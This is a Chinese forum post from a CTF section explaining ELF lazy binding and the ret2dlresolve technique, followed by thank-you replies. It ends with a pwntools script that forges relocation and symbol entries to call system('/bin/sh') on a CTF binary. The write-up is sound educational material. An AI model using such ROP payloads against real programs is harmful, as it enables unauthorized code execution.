吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4469|回复: 12
收起左侧

[CTF] 理解ret2dlsolve和函数地址解析过程

[复制链接]
ybw4cry 发表于 2022-1-1 20:54

ELF在执行时,许多函数的地址是lazy binding的,即在第一次调用时才会解析其地址并填充至.got.plt,这个过程是在.plt里面完成的

文章中用到的程序是用这个仓库里面的源码进行编译的

然后有些地方参考了ctf-wiki,当时看完wiki不是很理解,最后一咬牙把这个方法看完了,希望我的理解过程能帮助更多的人,欢迎评论。

解析函数地址

解析1

解析1
1.png

上面两张图解释了函数地址在函数第一次调用的时候是如何解析的,但是还不足以理解ret2dlsolve
因为我们需要了解ld.so里面执行的一些东西

重定位表

1.png

重定位表对应.rel.plt段,也是readelf -r会显示的内容

得到偏移,进入dlsolve之后程序根据偏移找到对应的重定位表项,从途中可以看出条目由函数的gotr_info构成

符号表

2.png

符号表对应.dynsym段,也是readelf -x会显示的内容

符号表中的条目如图所示,对于write的条目,我们可以看到有6个,展开之后是这样:
3.png

0x4C就是字符串对于字符串表的偏移

动态字符串表

动态字符串表对应.dynstr段,上图已经给出

elf head 相关知识

在了解ret2dlsolve之前,我们需要先了解一些elf头的知识☝️
readelf用于帮助我们解析头部信息

# 常用的指令&含义
readelf -r # Display the relocations 
readelf -d # Display the dynamic section 
readelf -s # Display the symbol table

符号表(sym table)的定义:

typedef struct
{
  Elf32_Word    st_name;   /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;  /* Symbol value */
  Elf32_Word    st_size;   /* Symbol size */
  unsigned char st_info;   /* Symbol type and binding */
  unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
  Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;

从x86入手

5.png

上面的指令对应ida中的内容:
6.png

call read@plt

看一下重定位信息:

$ readelf -r bof32

Relocation section '.rel.dyn' at offset 0x288 contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
080496fc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x290 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804970c  00000107 R_386_JUMP_SLOT   00000000   read 08049710  00000207 R_386_JUMP_SLOT   00000000   __gmon_start__
08049714  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main
08049718  00000407 R_386_JUMP_SLOT   00000000   write

结合上面的Elf32_Rel的结构体定义和下面的地址,可以看出Offset就是read函数在.got.plt中的地址
r_info则保存的是其类型和符号序号,具体保存的是什么信息能够结合宏定义推出,这里不赘述。

    0x80482e0:   push   DWORD PTR ds:0x8049704
    0x80482e6:   jmp    DWORD PTR ds:0x8049708
    ...
gdb-peda$ x/3i read:
    0x80482f0 <read@plt>:    jmp    DWORD PTR ds:0x804970c (read@got.plt)
    0x80482f6 <read@plt+6>:  push   0x0
    0x80482fb <read@plt+11>: jmp    0x80482e0
    ...
    0x804970c <read@got.plt>:       0x080482f6

在第一次调用时,jmp read@got.plt会跳回read@plt,这是我们已经知道的。接下来,会将参数push到栈上并跳至.got.plt+0x8,这相当于调用以下函数:

_dl_runtime_resolve(link_map, rel_offset);

我们知道参数是从右至左压栈的,所以第一个压栈的0就是rel_offset,第二个压栈的常量指针就是link_map
该函数的工作原理:

  • 根据rel_offset,找到重定位表中的重定位条目
    7.png

  • 根据rel_entry中的动态符号表条目编号,条目编号就是0x107中的1,我们就找符号表中第一条就行,得到对应的符号信息
    8.png

  • 再根据符号信息中的偏移找到符号名称【也叫动态字符串】(比如说'read'

  • 由此名称,搜索动态库

  • 找到地址后,填充至.got.plt对应位置

  • 调整栈,调用这一解析得到的函数

重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 .dynamic 索引得到的

攻击思路

linker使用_dl_runtime_resolve(link_map_obj, reloc_offset)来进行重定位
我们要控制相应的参数及其对应地址的内容

思路1 -- 直接控制重定位表项的相关内容

dl_solve根据符号的名字进行解析,直接修改动态字符串表.dynstr
但是,动态字符串表、动态符号表、重定位表项都是只读的。
所以可以伪造合适的重定位偏移
这个貌似是**Parital RELRO**的思路

思路2 -- 间接控制重定位表项的相关内容

既然动态链接器会从 .dynamic 节中索引到各个目标节,那如果我们可以修改动态节中的内容,那自然就很容易控制待解析符号对应的字符串,从而达到执行目标函数的目的。
这个思路貌似是**NO RELRO**的攻击思路

NO RELRO

没有保护的时候.dynamic是可写的
modify .dynstr pointer in .dynamic section to a specific location
我们构造一段假的动态字符串表,然后把指针指过去就行了
9.png

我们控制下的程序流:
push offset;
jmp2plt0;
解析; // 这里解析的话就会使用我们更改的动态字符串表

Parital RELRO

我们控制offset,解析之后指向我们构造的重定位项
重定位项由got和r_info组成

  1. 将栈迁移到 bss 段

  2. 构造offset 使解析offset之后得到的重定位表项落在ropchain中(这里的offset对应plt里函数的offset)

    • 原来的时候 [.rel.plt + offset] = got
  3. 构造重定位表项 使解析后的 符号表项落在ropchain中

  4. 构造符号表项 使解析后的 动态字符串落在ropchain中

  5. 把动态字符串改成"system",传入参数"/bin/sh"就能getshell了

使用工具进行ret2dlsolve

一般就是用pwntools构造,roputils不支持python3,希望有人接盘吧

然后我们需要去理解工具在构造的过程中做了什么

from mmap import mmap
from helper import *
import helper
import re
abbre(globals(), io, loader) # 此处定义了常用的缩写
# helper就是我自己对pwntools的封装,大家不必在意

dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
# pwntools will help us choose a proper addr
# https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
print(rop.dump())
ru(b"Welcome to XDCTF2015~!\n")

# 0x0000:        0x80490a4 read(0, 0x804be00) # size=0x8049030
# 0x0004:        0x8049352 <adjust @0x10> pop edi; pop ebp; ret # 吃掉 arg0 和 arg1
# 0x0008:              0x0 arg0
# 0x000c:        0x804be00 arg1, `addr of payload_2`
# 0x0010:        0x8049030 [plt_init] system(0x804be20)
# 0x0014:           0x3a98 [dlresolve index] -> 重定位表项: 0x804be18 <- <0x0804be00, 0x3be07>
                                              # 符号表项 0x804be08 (0x8048228 + 0x3be0)
                                              # 动态字符串 0x3b38 + 0x80482c8 = 0x804be00
# 0x0018:          b'gaaa' <return address>
# 0x001c:        0x804be20 arg0               # /bin/sh for system

rop = ROP(elf)
rop.raw(dlresolve.payload)
print("======================")
print(rop.dump())    # 这里你可以看到后面的payload是什么样子

payload = flat({112:raw_rop})
s(payload)
s(dlresolve.payload)
shell()

可以看出和上面我们分析出来的思路大体上是一致的

这个洞对我来说还是比较复杂,文章模糊不清的地方欢迎指正,如有不足,多多包涵

免费评分

参与人数 6威望 +2 吾爱币 +104 热心值 +6 收起 理由
石碎大胸口 + 1 + 1 用心讨论,共获提升!
konglongg + 1 + 1 我很赞同!
404undefined + 1 + 1 热心回复!
Hmily + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
隔壁老王Orz + 1 谢谢@Thanks!
muzi123mz + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2022-1-13 16:07
@ybw4cry 帖子图片开始有问题,看起来你重新上传本地,但没删除之前的图片地址,我帮你编辑了。
Li1y 发表于 2022-1-2 12:17
xiaowoaini 发表于 2022-1-12 12:21
sxhzsj 发表于 2022-1-15 17:21
楼主辛苦,谢谢分享!
404undefined 发表于 2022-1-17 01:07
楼主辛苦,谢谢分享!
Muan 发表于 2022-1-21 11:10
学习加分享,楼主辛苦
梵天不是神 发表于 2022-1-24 20:53
楼主辛苦。            
xunxunmimi0936 发表于 2022-1-28 14:42
楼主辛苦了、
he58394835 发表于 2022-3-24 10:10

感谢分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 10:23

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表